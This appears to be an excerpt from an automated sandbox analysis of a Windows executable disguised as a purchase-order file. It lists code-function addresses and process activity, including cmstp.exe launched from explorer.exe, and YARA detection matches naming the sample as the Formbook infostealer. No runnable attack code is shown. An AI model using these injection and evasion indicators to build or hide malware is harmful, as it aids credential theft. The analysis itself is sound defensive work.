          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_0166EE264_2_0166EE26
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_0166EEDB4_2_0166EEDB
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015C2E904_2_015C2E90
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_0166CE934_2_0166CE93
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_0167B16B4_2_0167B16B
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_0159F1724_2_0159F172
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015E516C4_2_015E516C
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015BB1B04_2_015BB1B0
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_0166F0E04_2_0166F0E0
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_016670E94_2_016670E9
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015B70C04_2_015B70C0
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_0165F0CC4_2_0165F0CC
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_0159D34C4_2_0159D34C
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_0166132D4_2_0166132D
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015F739A4_2_015F739A
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_016512ED4_2_016512ED
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015CB2C04_2_015CB2C0
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015B52A04_2_015B52A0
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_016675714_2_01667571
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_016795C34_2_016795C3
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_0164D5B04_2_0164D5B0
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015A14604_2_015A1460
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_0166F43F4_2_0166F43F
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_0166F7B04_2_0166F7B0
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015F56304_2_015F5630
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_016616CC4_2_016616CC
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015B99504_2_015B9950
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015CB9504_2_015CB950
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_016459104_2_01645910
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_0161D8004_2_0161D800
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015B38E04_2_015B38E0
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_0166FB764_2_0166FB76
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_01625BF04_2_01625BF0
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015EDBF94_2_015EDBF9
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015CFB804_2_015CFB80
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_01623A6C4_2_01623A6C
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_01667A464_2_01667A46
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_0166FA494_2_0166FA49
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_0165DAC64_2_0165DAC6
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_01651AA34_2_01651AA3
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_0164DAAC4_2_0164DAAC
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015F5AA04_2_015F5AA0
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_01667D734_2_01667D73
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015B3D404_2_015B3D40
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_01661D5A4_2_01661D5A
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015CFDC04_2_015CFDC0
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_01629C324_2_01629C32
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_0166FCF24_2_0166FCF2
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_0166FF094_2_0166FF09
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_01573FD54_2_01573FD5
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_01573FD24_2_01573FD2
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015B1F924_2_015B1F92
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_0166FFB14_2_0166FFB1
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015B9EB04_2_015B9EB0
          Source: C:\Windows\explorer.exeCode function: 6_2_0E9F22326_2_0E9F2232
          Source: C:\Windows\explorer.exeCode function: 6_2_0E9ECB326_2_0E9ECB32
          Source: C:\Windows\explorer.exeCode function: 6_2_0E9ECB306_2_0E9ECB30
          Source: C:\Windows\explorer.exeCode function: 6_2_0E9E80826_2_0E9E8082
          Source: C:\Windows\explorer.exeCode function: 6_2_0E9F10366_2_0E9F1036
          Source: C:\Windows\explorer.exeCode function: 6_2_0E9F55CD6_2_0E9F55CD
          Source: C:\Windows\explorer.exeCode function: 6_2_0E9EF9126_2_0E9EF912
          Source: C:\Windows\explorer.exeCode function: 6_2_0E9E9D026_2_0E9E9D02
          Source: C:\Windows\explorer.exeCode function: 6_2_0EADD2326_2_0EADD232
          Source: C:\Windows\explorer.exeCode function: 6_2_0EAD7B306_2_0EAD7B30
          Source: C:\Windows\explorer.exeCode function: 6_2_0EAD7B326_2_0EAD7B32
          Source: C:\Windows\explorer.exeCode function: 6_2_0EAD30826_2_0EAD3082
          Source: C:\Windows\explorer.exeCode function: 6_2_0EADC0366_2_0EADC036
          Source: C:\Windows\explorer.exeCode function: 6_2_0EAE05CD6_2_0EAE05CD
          Source: C:\Windows\explorer.exeCode function: 6_2_0EAD4D026_2_0EAD4D02
          Source: C:\Windows\explorer.exeCode function: 6_2_0EADA9126_2_0EADA912
          Source: C:\Windows\explorer.exeCode function: 6_2_0FC512326_2_0FC51232
          Source: C:\Windows\explorer.exeCode function: 6_2_0FC545CD6_2_0FC545CD
          Source: C:\Windows\explorer.exeCode function: 6_2_0FC48D026_2_0FC48D02
          Source: C:\Windows\explorer.exeCode function: 6_2_0FC4E9126_2_0FC4E912
          Source: C:\Windows\explorer.exeCode function: 6_2_0FC4BB306_2_0FC4BB30
          Source: C:\Windows\explorer.exeCode function: 6_2_0FC4BB326_2_0FC4BB32
          Source: C:\Windows\explorer.exeCode function: 6_2_0FC470826_2_0FC47082
          Source: C:\Windows\explorer.exeCode function: 6_2_0FC500366_2_0FC50036
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_00E3B63414_2_00E3B634
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_04EEE4F614_2_04EEE4F6
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_04EF244614_2_04EF2446
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_04EE442014_2_04EE4420
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_04F0059114_2_04F00591
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_04E4053514_2_04E40535
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_04E5C6E014_2_04E5C6E0
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_04E3C7C014_2_04E3C7C0
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_04E4077014_2_04E40770
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_04E6475014_2_04E64750
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_04ED200014_2_04ED2000
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_04EF81CC14_2_04EF81CC
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_04EF41A214_2_04EF41A2
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_04F001AA14_2_04F001AA
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_04EC815814_2_04EC8158
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_04E3010014_2_04E30100
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_04EDA11814_2_04EDA118
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_04EC02C014_2_04EC02C0
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_04EE027414_2_04EE0274
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_04E4E3F014_2_04E4E3F0
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_04F003E614_2_04F003E6
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_04EFA35214_2_04EFA352
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_04E30CF214_2_04E30CF2
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_04EE0CB514_2_04EE0CB5
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_04E40C0014_2_04E40C00
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_04E3ADE014_2_04E3ADE0
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_04E58DBF14_2_04E58DBF
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_04E4AD0014_2_04E4AD00
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_04EDCD1F14_2_04EDCD1F
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_04EFEEDB14_2_04EFEEDB
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_04E52E9014_2_04E52E90
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_04EFCE9314_2_04EFCE93
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_04E40E5914_2_04E40E59
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_04EFEE2614_2_04EFEE26
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_04E4CFE014_2_04E4CFE0
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_04E32FC814_2_04E32FC8
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_04EBEFA014_2_04EBEFA0
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_04EB4F4014_2_04EB4F40
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_04E82F2814_2_04E82F28
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_04E60F3014_2_04E60F30
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_04EE2F3014_2_04EE2F30
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_04E6E8F014_2_04E6E8F0
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_04E268B814_2_04E268B8
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_04E4A84014_2_04E4A840
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_04E4284014_2_04E42840
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_04E429A014_2_04E429A0
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_04F0A9A614_2_04F0A9A6
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_04E5696214_2_04E56962
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_04E3EA8014_2_04E3EA80
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_04EF6BD714_2_04EF6BD7
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_04EFAB4014_2_04EFAB40
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_04E3146014_2_04E31460
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_04EFF43F14_2_04EFF43F
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_04F095C314_2_04F095C3
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_04EDD5B014_2_04EDD5B0
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_04EF757114_2_04EF7571
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_04EF16CC14_2_04EF16CC
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_04E8563014_2_04E85630
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_04EFF7B014_2_04EFF7B0
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_04EF70E914_2_04EF70E9
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_04EFF0E014_2_04EFF0E0
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_04EEF0CC14_2_04EEF0CC
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_04E470C014_2_04E470C0
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_04E4B1B014_2_04E4B1B0
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_04E7516C14_2_04E7516C
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_04E2F17214_2_04E2F172
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_04F0B16B14_2_04F0B16B
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_04EE12ED14_2_04EE12ED
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_04E5B2C014_2_04E5B2C0
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_04E452A014_2_04E452A0
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_04E8739A14_2_04E8739A
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_04E2D34C14_2_04E2D34C
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_04EF132D14_2_04EF132D
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_04EFFCF214_2_04EFFCF2
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_04EB9C3214_2_04EB9C32
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_04E5FDC014_2_04E5FDC0
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_04EF7D7314_2_04EF7D73
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_04E43D4014_2_04E43D40
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_04EF1D5A14_2_04EF1D5A
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_04E49EB014_2_04E49EB0
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_04EFFFB114_2_04EFFFB1
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_04E41F9214_2_04E41F92
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_04EFFF0914_2_04EFFF09
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_04E438E014_2_04E438E0
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_04EAD80014_2_04EAD800
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_04E4995014_2_04E49950
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_04E5B95014_2_04E5B950
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_04ED591014_2_04ED5910
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_04EEDAC614_2_04EEDAC6
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_04EDDAAC14_2_04EDDAAC
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_04E85AA014_2_04E85AA0
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_04EE1AA314_2_04EE1AA3
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_04EB3A6C14_2_04EB3A6C
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_04EFFA4914_2_04EFFA49
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_04EF7A4614_2_04EF7A46
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_04EB5BF014_2_04EB5BF0
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_04E7DBF914_2_04E7DBF9
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_04E5FB8014_2_04E5FB80
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_04EFFB7614_2_04EFFB76
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_02EAD76A14_2_02EAD76A
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_02EAE77C14_2_02EAE77C
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_02E99E4C14_2_02E99E4C
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_02E99E5014_2_02E99E50
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_02E92FB014_2_02E92FB0
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_02E92D9014_2_02E92D90
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_02EAED7514_2_02EAED75
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_04C7A03614_2_04C7A036
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_04C7E5CD14_2_04C7E5CD
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_04C72D0214_2_04C72D02
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_04C7108214_2_04C71082
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_04C7891214_2_04C78912
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_04C7B23214_2_04C7B232
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_04C75B3214_2_04C75B32
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_04C75B3014_2_04C75B30
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: String function: 015E5130 appears 58 times
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: String function: 0161EA12 appears 86 times
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: String function: 0162F290 appears 105 times
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: String function: 0159B970 appears 277 times
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: String function: 015F7E54 appears 111 times
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: String function: 04EAEA12 appears 86 times
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: String function: 04E75130 appears 58 times
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: String function: 04EBF290 appears 105 times
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: String function: 00E3E951 appears 100 times
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: String function: 04E87E54 appears 111 times
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: String function: 04E2B970 appears 277 times
          Source: Request For PO-230102.bat.exe, 00000000.00000002.1259692013.0000000000F4E000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameclr.dllT vs Request For PO-230102.bat.exe
          Source: Request For PO-230102.bat.exe, 00000000.00000002.1275789804.0000000007330000.00000004.08000000.00040000.00000000.sdmpBinary or memory string: OriginalFilenameTyrone.dll8 vs Request For PO-230102.bat.exe
          Source: Request For PO-230102.bat.exe, 00000000.00000000.1248458894.00000000008C2000.00000002.00000001.01000000.00000003.sdmpBinary or memory string: OriginalFilenameXTt.exeD vs Request For PO-230102.bat.exe
          Source: Request For PO-230102.bat.exe, 00000000.00000002.1262575424.0000000003C39000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: OriginalFilenameTyrone.dll8 vs Request For PO-230102.bat.exe
          Source: Request For PO-230102.bat.exe, 00000004.00000002.1398545896.00000000019E0000.00000040.10000000.00040000.00000000.sdmpBinary or memory string: OriginalFilenameCMSTP.EXE` vs Request For PO-230102.bat.exe
          Source: Request For PO-230102.bat.exe, 00000004.00000002.1394062903.000000000169D000.00000040.00001000.00020000.00000000.sdmpBinary or memory string: OriginalFilenamentdll.dllj% vs Request For PO-230102.bat.exe
          Source: Request For PO-230102.bat.exe, 00000004.00000002.1393537165.0000000001038000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameCMSTP.EXE` vs Request For PO-230102.bat.exe
          Source: Request For PO-230102.bat.exeBinary or memory string: OriginalFilenameXTt.exeD vs Request For PO-230102.bat.exe
          Source: Request For PO-230102.bat.exeStatic PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
          Source: C:\Windows\explorer.exeProcess created: C:\Windows\SysWOW64\cmstp.exe "C:\Windows\SysWOW64\cmstp.exe"
          Source: C:\Windows\explorer.exeProcess created: C:\Windows\SysWOW64\cmstp.exe "C:\Windows\SysWOW64\cmstp.exe"Jump to behavior
          Source: 4.2.Request For PO-230102.bat.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
          Source: 4.2.Request For PO-230102.bat.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
          Source: 4.2.Request For PO-230102.bat.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
          Source: 4.2.Request For PO-230102.bat.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
          Source: 4.2.Request For PO-230102.bat.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
          Source: 4.2.Request For PO-230102.bat.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
          Source: 0000000E.00000002.3707841905.00000000032C0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
          Source: 0000000E.00000002.3707841905.00000000032C0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
          Source: 0000000E.00000002.3707841905.00000000032C0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
          Source: 0000000E.00000002.3708233688.0000000004BA0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
          Source: 0000000E.00000002.3708233688.0000000004BA0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
          Source: 0000000E.00000002.3708233688.0000000004BA0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
          Source: 00000004.00000002.1393248117.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
          Source: 00000004.00000002.1393248117.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
          Source: 00000004.00000002.1393248117.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
          Source: 00000006.00000002.3720341858.000000000FC69000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_772cc62d os = windows, severity = x86, creation_date = 2022-05-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8343b5d02d74791ba2d5d52d19a759f761de2b5470d935000bc27ea6c0633f5, id = 772cc62d-345c-42d8-97ab-f67e447ddca4, last_modified = 2022-07-18
          Source: 0000000E.00000002.3706125746.0000000002E90000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
